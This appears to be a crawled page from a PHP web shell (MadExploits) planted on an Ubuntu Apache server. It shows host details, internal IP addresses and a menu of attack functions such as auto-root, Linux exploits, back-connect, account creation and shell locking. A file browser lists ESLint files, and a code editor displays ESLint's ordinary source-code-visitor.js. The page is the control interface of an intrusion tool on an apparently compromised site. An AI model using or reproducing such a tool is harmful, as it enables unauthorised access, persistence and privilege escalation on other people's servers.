Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
eslint /
lib /
linter /
[ HOME SHELL ]
Name
Size
Permission
Action
code-path-analysis
[ DIR ]
drwxr-xr-x
apply-disable-directives.js
18.66
KB
-rw-r--r--
esquery.js
9.1
KB
-rw-r--r--
file-context.js
3.53
KB
-rw-r--r--
file-report.js
18.25
KB
-rw-r--r--
index.js
179
B
-rw-r--r--
interpolate.js
1.31
KB
-rw-r--r--
linter.js
75.61
KB
-rw-r--r--
rule-fixer.js
5.04
KB
-rw-r--r--
rules.js
1.63
KB
-rw-r--r--
source-code-fixer.js
4.11
KB
-rw-r--r--
source-code-traverser.js
9.47
KB
-rw-r--r--
source-code-visitor.js
2.1
KB
-rw-r--r--
timing.js
3.73
KB
-rw-r--r--
vfile.js
2.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : source-code-visitor.js
/** * @fileoverview SourceCodeVisitor class * @author Nicholas C. Zakas */ "use strict"; //----------------------------------------------------------------------------- // Helpers //----------------------------------------------------------------------------- const emptyArray = Object.freeze([]); //------------------------------------------------------------------------------ // Exports //------------------------------------------------------------------------------ /** * A structure to hold a list of functions to call for a given name. * This is used to allow multiple rules to register functions for a given name * without having to know about each other. */ class SourceCodeVisitor { /** * The functions to call for a given name. * @type {Map<string, Function[]>} */ #functions = new Map(); /** * Adds a function to the list of functions to call for a given name. * @param {string} name The name of the function to call. * @param {Function} func The function to call. * @returns {void} */ add(name, func) { if (this.#functions.has(name)) { this.#functions.get(name).push(func); } else { this.#functions.set(name, [func]); } } /** * Gets the list of functions to call for a given name. * @param {string} name The name of the function to call. * @returns {Function[]} The list of functions to call. */ get(name) { if (this.#functions.has(name)) { return this.#functions.get(name); } return emptyArray; } /** * Iterates over all names and calls the callback with the name. * @param {(name:string) => void} callback The callback to call for each name. * @returns {void} */ forEachName(callback) { this.#functions.forEach((funcs, name) => { callback(name); }); } /** * Calls the functions for a given name with the given arguments. * @param {string} name The name of the function to call. * @param {any[]} args The arguments to pass to the function. * @returns {void} */ callSync(name, ...args) { if (this.#functions.has(name)) { this.#functions.get(name).forEach(func => func(...args)); } } } module.exports = { SourceCodeVisitor };
Close